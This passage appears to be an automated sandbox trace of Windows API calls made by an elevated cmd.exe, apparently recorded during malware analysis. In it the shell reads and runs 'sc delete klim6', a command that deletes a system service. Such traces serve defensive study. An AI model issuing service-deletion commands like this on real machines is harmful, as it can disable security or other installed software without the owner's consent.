lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.704] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.704] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.704] GetFileType (hFile=0xb8) returned 0x3 [0077.704] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.704] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.704] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.704] GetFileType (hFile=0x120) returned 0x3 [0077.704] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.704] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete klim6\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete klim6\n", lpUsedDefaultChar=0x0) returned 17 [0077.704] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x10, lpOverlapped=0x0) returned 1 [0077.704] GetProcessHeap () returned 0x240000 [0077.704] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x268630 [0077.704] GetProcessHeap () returned 0x240000 [0077.704] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x268630 | out: hHeap=0x240000) returned 1 [0077.705] GetProcessHeap () returned 0x240000 [0077.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x264660 [0077.705] GetProcessHeap () returned 0x240000 [0077.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x2589b0 [0077.705] GetProcessHeap () returned 0x240000 [0077.705] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x2c) returned 0x256510 [0077.705] GetConsoleOutputCP () returned 0x1b5 [0077.705] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.705] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.705] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.705] GetProcessHeap () returned 0x240000 [0077.706] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x259910 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x32) returned 0x256550 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x25c530 [0077.706] SetErrorMode (uMode=0x0) returned 0x1 [0077.706] SetErrorMode (uMode=0x1) returned 0x0 [0077.706] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x25c540, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0077.706] SetErrorMode (uMode=0x1) returned 0x1 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x25c530, Size=0x62) returned 0x25c530 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x25c530) returned 0x62 [0077.706] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0077.706] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x255b70 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x241ab0 [0077.706] GetProcessHeap () returned 0x240000 [0077.706] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x241ab0, Size=0x12a) returned 0x241ab0 [0077.707] GetProcessHeap () returned 0x240000 [0077.707] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x241ab0) returned 0x12a [0077.707] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0077.707] GetProcessHeap () returned 0x240000 [0077.707] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x259b30 [0077.707] GetProcessHeap () returned 0x240000 [0077.707] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b30, Size=0x7e) returned 0x259b30 [0077.707] GetProcessHeap () returned 0x240000 [0077.707] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b30) returned 0x7e [0077.707] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.707] GetLastError () returned 0x2 [0077.707] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.707] GetLastError () returned 0x2 [0077.707] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0077.708] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.708] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.708] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0077.708] GetLastError () returned 0x2 [0077.708] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x259bc0 [0077.708] FindClose (in: hFindFile=0x259bc0 | out: hFindFile=0x259bc0) returned 1 [0077.708] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0077.708] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0077.708] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.709] GetProcessHeap () returned 0x240000 [0077.709] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259180 [0077.709] GetConsoleTitleW (in: lpConsoleTitle=0x259190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0077.709] GetProcessHeap () returned 0x240000 [0077.709] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259180, Size=0x98) returned 0x259180 [0077.709] GetProcessHeap () returned 0x240000 [0077.709] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259180) returned 0x98 [0077.709] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klim6") returned 1 [0077.710] GetProcessHeap () returned 0x240000 [0077.710] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0077.710] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0077.710] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0077.710] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0077.710] GetProcessHeap () returned 0x240000 [0077.710] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0077.710] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.711] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0077.711] GetProcessHeap () returned 0x240000 [0077.711] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0077.712] GetProcessHeap () returned 0x240000 [0077.712] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0077.712] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klim6", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klim6", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete klim6", lpProcessInformation=0x1af360*(hProcess=0x54, hThread=0x50, dwProcessId=0x9f4, dwThreadId=0xa04)) returned 1 [0077.715] CloseHandle (hObject=0x50) returned 1 [0077.715] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0077.716] GetProcessHeap () returned 0x240000 [0077.716] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.716] GetEnvironmentStringsW () returned 0x25ba10* [0077.716] GetProcessHeap () returned 0x240000 [0077.716] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.716] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0077.716] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0077.716] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdf000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0077.716] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0077.766] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0077.766] CloseHandle (hObject=0x54) returned 1 [0077.766] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0077.766] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0077.766] GetProcessHeap () returned 0x240000 [0077.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0077.766] GetEnvironmentStringsW () returned 0x261b10* [0077.766] GetProcessHeap () returned 0x240000 [0077.766] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0077.766] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0077.766] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0077.766] GetProcessHeap () returned 0x240000 [0077.766] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0077.766] GetEnvironmentStringsW () returned 0x25ba10* [0077.767] GetProcessHeap () returned 0x240000 [0077.767] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0077.767] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0077.767] GetProcessHeap () returned 0x240000 [0077.767] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0077.767] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0077.767] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0077.767] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.767] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0077.768] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.768] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0077.768] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.768] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0077.768] GetConsoleOutputCP () returned 0x1b5 [0077.768] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0077.768] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.768] GetProcessHeap () returned 0x240000 [0077.768] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0077.768] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256550 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x256510 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0077.769] GetProcessHeap () returned 0x240000 [0077.769] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0077.769] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0077.769] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.769] GetFileType (hFile=0x120) returned 0x3 [0077.769] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.769] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0077.769] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0077.769] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0077.769] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0077.770] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0077.770] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0077.770] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.770] GetFileType (hFile=0x120) returned 0x3 [0077.770] _get_osfhandle (_FileHandle=1) returned 0x120 [0077.770] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0077.770] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0077.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.770] GetFileType (hFile=0xb8) returned 0x3 [0077.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.770] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.770] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.770] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.770] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.770] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.770] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.771] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.771] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.771] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0077.771] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete klim6\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0077.771] _get_osfhandle (_FileHandle=0) returned 0xb8 [0077.771] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0077.771] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) 